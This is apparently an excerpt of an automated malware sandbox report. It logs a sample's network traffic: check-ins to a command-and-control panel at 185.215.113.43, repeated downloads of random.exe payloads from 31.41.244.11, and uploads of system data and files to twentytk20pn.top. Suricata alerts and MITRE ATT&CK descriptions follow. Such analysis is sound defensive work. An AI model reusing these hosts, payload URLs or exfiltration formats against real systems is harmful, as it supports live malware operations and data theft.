Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 32 36 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018264001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/london/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 32 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018265001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 32 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018266001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/wicked/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: /Content-Type: application/jsonContent-Length: 440129Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 36 37 35 31 35 36 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 32 36 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018267001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=QQMyA48Op3c1b6GY1734675161 HTTP/1.1Host: home.twentytk20pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 32 36 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018268001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/bckosq/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 32 36 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018269001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/loadman/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 463Content-Type: multipart/form-data; boundary=------------------------z1NdtdNVtSMPvgtewgGEp7Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 7a 31 4e 64 74 64 4e 56 74 53 4d 50 76 67 74 65 77 67 47 45 70 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 69 6e 65 78 65 7a 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 2d df d9 41 7c 5a d0 fd eb 59 24 d9 bb 77 ba 7e 04 ab af 40 50 f5 c9 bb 4a 92 8e 00 f5 d3 34 a1 b6 fd 93 47 6e 25 5a cc 4a ae 9a da 30 53 32 cc e1 2a 4f 5f 96 d9 51 3d 84 be e5 20 4f 99 ef 3b 1b 2e f3 0c b2 09 b5 09 49 35 59 db 65 b8 8d b2 12 69 18 05 99 8c c5 cc 96 3c 19 e9 b1 0b ab 78 bb 6d 97 bd b2 09 f3 8d 85 6d b1 18 15 ea 3b 3a cf 33 6e 97 fd b7 d4 cf 28 a9 99 cd dd cb 15 b8 90 95 6c eb 54 db 33 1a 1b 7b 68 76 34 69 10 d2 6f 7f 30 a1 e9 41 ed 15 3c ca c9 ce 45 40 fd 69 a4 11 d2 4e 40 f5 31 b7 cc 85 3f cb 10 60 e3 36 52 55 e0 b9 9f 40 bd 91 74 01 d2 b2 9b ff 68 5f e2 c6 17 86 e4 a5 e7 21 59 87 b6 fb 72 04 e0 30 76 8f 97 9f 52 22 f2 79 d0 95 0c 9d 90 22 e4 e7 1c 88 d5 82 2d 56 06 d8 ac 25 d8 61 a9 6d 92 a6 6d 8d 1b 66 f5 c2 50 98 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 7a 31 4e 64 74 64 4e 56 74 53 4d 50 76 67 74 65 77 67 47 45 70 37 2d 2d 0d 0a Data Ascii: --------------------------z1NdtdNVtSMPvgtewgGEp7Content-Disposition: form-data; name="file"; filename="Cinexez.bin"Content-Type: application/octet-stream-A\|ZY$w~@PJ4Gn%ZJ0S2*O_Q= O;.I5Yei<xmm;:3n(lT3{hv4io0A<E@iN@1?`6RU@th_!Yr0vR"y"-V%ammfP--------------------------z1NdtdNVtSMPvgtewgGEp7--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 38 32 37 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018270001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 63163Content-Type: multipart/form-data; boundary=------------------------VA5Za2DDXX12lfpnfmUyUJData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 56 41 35 5a 61 32 44 44 58 58 31 32 6c 66 70 6e 66 6d 55 79 55 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 75 74 69 79 75 7a 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a cf fe b8 d4 9b 48 54 60 81 82 cb 09 0e 6f 63 c1 c3 ea f0 df 1f e2 a7 44 2f 6c 25 93 04 48 24 7c 02 d4 50 96 9d 2b 73 2a ae 73 f5 f4 48 ea 7b b5 c4 86 57 c9 98 54 15 ec e9 ba 4e 9a 2f b1 6f 42 51 e4 1b 15 a9 65 50 87 af 3d c9 77 e9 73 03 b7 9a 7d dc bb ad 55 6f f8 4d 72 64 1e ef 37 8f 49 bf 5e d9 84 f0 6e 59 4d ff e2 90 7e c2 4b 77 33 63 72 b0 ed 94 b3 77 ea d5 79 c3 92 bf 51 b9 48 38 83 b3 82 71 cd 43 ca 63 08 99 84 08 cf 42 1c 3d 41 4d 97 09 e1 fe 92 79 ab 8f 12 89 37 69 a1 99 f7 0f 30 26 01 60 38 2c 8b e9 2f 0a c5 f1 48 6b 86 39 6c 35 d7 e6 8d e5 d3 1c 3f 02 27 bf cf 45 23 30 de a7 d7 d8 98 7b 2e fc 79 57 78 cf 19 a5 3b 28 66 93 d8 1e 12 5c f7 ab 01 59 02 1c 6d ca 51 f6 50 1f ab e3 04 fd 73 62 f9 cd 3a b0 8a 36 dd 2a da 78 f3 9f 10 f9 16 46 b4 7a 50 f2 8e 9d d7 e6 8c 57 97 57 df 4a cb 84 78 81 f9 af ff 63 61 f9 a5 cb 38 ad 7d e8 f8 fb 98 d2 87 e6 a8 ec 1f a6 51 51 30 5f 7b 4a b7 0b 49 4b 4b 82 28 66 a8 7a fd 32 3e 8d 42 5e 3e 29 89 34 75 e6 47 2d ad 24 18 7f 0f fc ff 63 82 8b d6 73 75 b2 51 2b e5 47 87 60 1d 5c 25 93 05 9c 94 66 ff 48 4c 3e dd 14 7a 88 d2 bb e3 00 8c 4b 6e a9 e7 8e dd 68 6d 4c 24 14 47 b0 aa d6 3a f1 3f 01 a4 98 60 0c 02 57 e8 d2 1d 9e 9f a6 ff ba 86 e6 af 19 4d 10 95 4c 85 1b 73 f7 16 35 a8 06 2f 76 44 1e e5 d6 73 cf 82 c2 96 d3 07 9c 46 5b b5 69 fe 31 4e 92 52 57 37 f6 e5 9b fa 21 bc 19 c3 01 db fb a7 f9 9d 21 84 e4 8b 28 ce 8e 50 a6 82 56 16 a5 1e 55 d0 a3 cb 27 f1 c0 e0 9f d1 1c 04 1f ef 13 55 61 33 dc c7 1f 30 ca 5f 30 b3 b0 06 b5 fc 5c 41 9e 75 38 68 d1 af 48 12 98 f1 a1 37 13 2d 55 fa 2a 0f 54 ba 3b 38 d3 92 8f ac 09 f3 41 c6 ce d6 0b 25 de f1 7f a2 85 d9 62 ad f5 ea cb f9 4f 7d 67 86 a1 8c 37 b8 97 24 7f 92 2d bb fc 2d ac 64 13 19 4f ef 1e ee 7f a0 f8 51 d7 a3 6c 4a 7e 42 e5 3a fc 6a e8 e4 66 66 67 bb 2f 6e f2 b0 f0 0b 17 a7 52 6d 61 01 20 90 71 76 bd 47 de 45 09 81 a3 0b 1e 19 e1 b3 1b 6a 39 48 51 14 16 68 a8 11 33 95 f1 00 27 81 20 4c ee 0b c2 a6 f7 44 ea f2 42 f1 1f e6 91 91 6d cd b9 25 77 5f eb 38 a8 75 64 b2 e6 4c 66 65 ee 60 71 e7 50 26 d6 58 2d d8 cb 57 a5 5e 68 85 4e 2e 3c e8 38 65 79 d5 04 4a 5d fe a5 69 37 c0 72 c1 dc 78 69 f5 38 85 a8 0d 20 d1 50 3b 3e c0 3c 23 c1 11 4f 5f 9f 69 7f b8 f8 90 b9 75 67 33 23 71 7f fc 7e 0f dc bc 26 88 8f 32 58 ee cd a5 f7 fb 4f 6a af 26 e1 36 97 62 d2 da d5 b5 63 7e 99 4e 4c fa ff 95 c9 4a 85 8c c6 b9 c6 37 e7 83 f9

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 34.226.108.155 34.226.108.155

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49775 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49759 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49777 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49780 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49789 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49796 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49797 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49804 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49801 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49806 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49817 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49816 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49822 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49823 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49830 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49838 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49844 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49853 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49867 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49868 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49841 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49899 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49916 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49920 -> 178.62.201.34:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49931 -> 45.77.249.79:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49949 -> 172.67.180.113:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: pancakedipyps.click
Source: global traffic	DNS traffic detected: DNS query: treehoneyi.click
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.twentytk20pn.top
Source: global traffic	DNS traffic detected: DNS query: bellflamre.click
Source: global traffic	DNS traffic detected: DNS query: immureprech.biz
Source: global traffic	DNS traffic detected: DNS query: deafeninggeh.biz
Source: global traffic	DNS traffic detected: DNS query: twentytk20pn.top
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
